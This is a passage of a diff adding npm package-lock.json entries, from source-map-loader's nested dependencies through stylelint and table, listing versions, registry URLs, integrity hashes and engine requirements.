"node_modules/source-map-loader/node_modules/iconv-lite": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.2.tgz", + "integrity": "sha512-2y91h5OpQlolefMPmUlivelittSWy0rP+oYVpn6A7GwVHNE8AWzoYOBNmlwks3LobaJxgHCYZAnyNo2GgpNRNQ==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-loader/node_modules/json5": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", + "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/source-map-loader/node_modules/loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/source-map-loader/node_modules/schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.0.0.tgz", + "integrity": "sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==", + "dependencies": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/source-map-loader/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.20", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.20.tgz", + "integrity": "sha512-n1lZZ8Ve4ksRqizaBQgxXDgKwttHDhyfQjA6YZZn8+AroHbsIz+JjwxQDxbp+7y5OYCI8t1Yk7etjD9CRd2hIw==", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/source-map-support/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/spdx-correct": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.1.tgz", + "integrity": "sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==", + "dev": true, + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", + "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", + "dev": true + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.10.tgz", + "integrity": "sha512-oie3/+gKf7QtpitB0LYLETe+k8SifzsX4KixvpOsbI6S0kRiRQ5MKOio8eMSAKQ17N06+wdEOXRiId+zOxo0hA==", + "dev": true + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "dev": true, + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "dev": true, + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/spdy-transport/node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/specificity": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/specificity/-/specificity-0.4.1.tgz", + "integrity": "sha512-1klA3Gi5PD1Wv9Q0wUoOQN1IWAuPu0D1U03ThXTr0cJ20+/iq2tHSDnK7Kk/0LXJ1ztUB2/1Os0wKmfyNgUQfg==", + "dev": true, + "bin": { + "specificity": "bin/specificity" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", + "dev": true + }, + "node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/string-width/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.6.tgz", + "integrity": "sha512-6WgDX8HmQqvEd7J+G6VtAahhsQIssiZ8zl7zKh1VDMFyL3hRTJP4FTNA3RbIp2TOQ9AYNDcc7e3fH0Qbup+DBg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1", + "get-intrinsic": "^1.1.1", + "has-symbols": "^1.0.2", + "internal-slot": "^1.0.3", + "regexp.prototype.flags": "^1.3.1", + "side-channel": "^1.0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "dev": true, + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.0.tgz", + "integrity": "sha512-e6/d0eBu7gHtdCqFt0xJr642LdToM5/cN4Qb9DbHjVx1CP5RyeM+zH7pbecEmDv/lBqb0QH+6Uqq75rxFPkM0w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/style-loader": { + "version": "0.22.1", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.22.1.tgz", + "integrity": "sha512-WXUrLeinPIR1Oat3PfCDro7qTniwNTJqGqv1KcQiL3JR5PzrVLTyNsd9wTsPXG/qNCJ7lzR2NY/QDjFsP7nuSQ==", + "dev": true, + "dependencies": { + "loader-utils": "^1.1.0", + "schema-utils": "^0.4.5" + }, + "engines": { + "node": ">= 0.12.0" + } + }, + "node_modules/style-loader/node_modules/schema-utils": { + "version": "0.4.7", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz", + "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", + "dev": true, + "dependencies": { + "ajv": "^6.1.0", + "ajv-keywords": "^3.1.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/style-search": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/style-search/-/style-search-0.1.0.tgz", + "integrity": "sha1-eVjHk+R+MuB9K1yv5cC/jhLneQI=", + "dev": true + }, + "node_modules/stylelint": { + "version": "13.13.1", + "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.13.1.tgz", + "integrity": "sha512-Mv+BQr5XTUrKqAXmpqm6Ddli6Ief+AiPZkRsIrAoUKFuq/ElkUh9ZMYxXD0iQNZ5ADghZKLOWz1h7hTClB7zgQ==", + "dev": true, + "dependencies": { + "@stylelint/postcss-css-in-js": "^0.37.2", + "@stylelint/postcss-markdown": "^0.36.2", + "autoprefixer": "^9.8.6", + "balanced-match": "^2.0.0", + "chalk": "^4.1.1", + "cosmiconfig": "^7.0.0", + "debug": "^4.3.1", + "execall": "^2.0.0", + "fast-glob": "^3.2.5", + "fastest-levenshtein": "^1.0.12", + "file-entry-cache": "^6.0.1", + "get-stdin": "^8.0.0", + "global-modules": "^2.0.0", + "globby": "^11.0.3", + "globjoin": "^0.1.4", + "html-tags": "^3.1.0", + "ignore": "^5.1.8", + "import-lazy": "^4.0.0", + "imurmurhash": "^0.1.4", + "known-css-properties": "^0.21.0", + "lodash": "^4.17.21", + "log-symbols": "^4.1.0", + "mathml-tag-names": "^2.1.3", + "meow": "^9.0.0", + "micromatch": "^4.0.4", + "normalize-selector": "^0.2.0", + "postcss": "^7.0.35", + "postcss-html": "^0.36.0", + "postcss-less": "^3.1.4", + "postcss-media-query-parser": "^0.2.3", + "postcss-resolve-nested-selector": "^0.1.1", + "postcss-safe-parser": "^4.0.2", + "postcss-sass": "^0.4.4", + "postcss-scss": "^2.1.1", + "postcss-selector-parser": "^6.0.5", + "postcss-syntax": "^0.36.2", + "postcss-value-parser": "^4.1.0", + "resolve-from": "^5.0.0", + "slash": "^3.0.0", + "specificity": "^0.4.1", + "string-width": "^4.2.2", + "strip-ansi": "^6.0.0", + "style-search": "^0.1.0", + "sugarss": "^2.0.0", + "svg-tags": "^1.0.0", + "table": "^6.6.0", + "v8-compile-cache": "^2.3.0", + "write-file-atomic": "^3.0.3" + }, + "bin": { + "stylelint": "bin/stylelint.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/stylelint" + } + }, + "node_modules/stylelint/node_modules/ajv": { + "version": "8.6.3", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.6.3.tgz", + "integrity": "sha512-SMJOdDP6LqTkD0Uq8qLi+gMwSt0imXLSV080qFVwJCpH9U6Mb+SUGHAXM0KNbcBPguytWyvFxcHgMLe2D2XSpw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/stylelint/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/stylelint/node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/balanced-match": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-2.0.0.tgz", + "integrity": "sha512-1ugUSr8BHXRnK23KfuYS+gVMC3LB8QGH9W1iGtDPsNWoQbgtXSExkBu2aDR4epiGWZOjZsj6lDl/N/AqqTC3UA==", + "dev": true + }, + "node_modules/stylelint/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/stylelint/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/stylelint/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/stylelint/node_modules/cosmiconfig": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", + "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", + "dev": true, + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stylelint/node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/stylelint/node_modules/flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "dev": true, + "dependencies": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/stylelint/node_modules/flatted": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.2.tgz", + "integrity": "sha512-JaTY/wtrcSyvXJl4IMFHPKyFur1sE9AUqc0QnhOaJ0CxHtAoIV8pYDzeEfAaNEtGkOfq4gr3LBFmdXW5mOQFnA==", + "dev": true + }, + "node_modules/stylelint/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/ignore": { + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", + "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/stylelint/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/stylelint/node_modules/postcss-selector-parser": { + "version": "6.0.6", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.6.tgz", + "integrity": "sha512-9LXrvaaX3+mcv5xkg5kFwqSzSH1JIObIx51PrndZwlmznwXRfxMddDvo9gve3gVR8ZTKgoFDdWkbRFmEhT4PMg==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/stylelint/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/stylelint/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/stylelint/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/table": { + "version": "6.7.2", + "resolved": "https://registry.npmjs.org/table/-/table-6.7.2.tgz", + "integrity": "sha512-UFZK67uvyNivLeQbVtkiUs8Uuuxv24aSL4/Vil2PJVtMgU8Lx0CYkP12uCGa3kjyQzOSgV1+z9Wkb82fCGsO0g==", + "dev": true, + "dependencies": { + "ajv": "^8.0.1", + "lodash.clonedeep": "^4.5.0", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/stylelint/node_modules/v8-compile-cache": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", + "dev": true + }, + "node_modules/sugarss": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/sugarss/-/sugarss-2.0.0.tgz", + "integrity": "sha512-WfxjozUk0UVA4jm+U1d736AUpzSrNsQcIbyOkoE364GrtWmIrFdk5lksEupgWMD4VaT/0kVx1dobpiDumSgmJQ==", + "dev": true, + "dependencies": { + "postcss": "^7.0.2" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/svg-tags": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/svg-tags/-/svg-tags-1.0.0.tgz", + "integrity": "sha1-WPcc7jvVGbWdSyqEO2x95krAR2Q=", + "dev": true + }, + "node_modules/table": { + "version": "5.4.6", + "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz", + "integrity": "sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==", + "dev": true, + "dependencies": { + "ajv": "^6.10.2", + "lodash": "^4.17.14", + "slice-ansi": "^2.1.0", + "string-width": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/table/node_modules/ansi-regex": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/table/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/table/node_modules/string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "dependencies": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + }, + "engines": { + "node": ">=6" + } + }, + 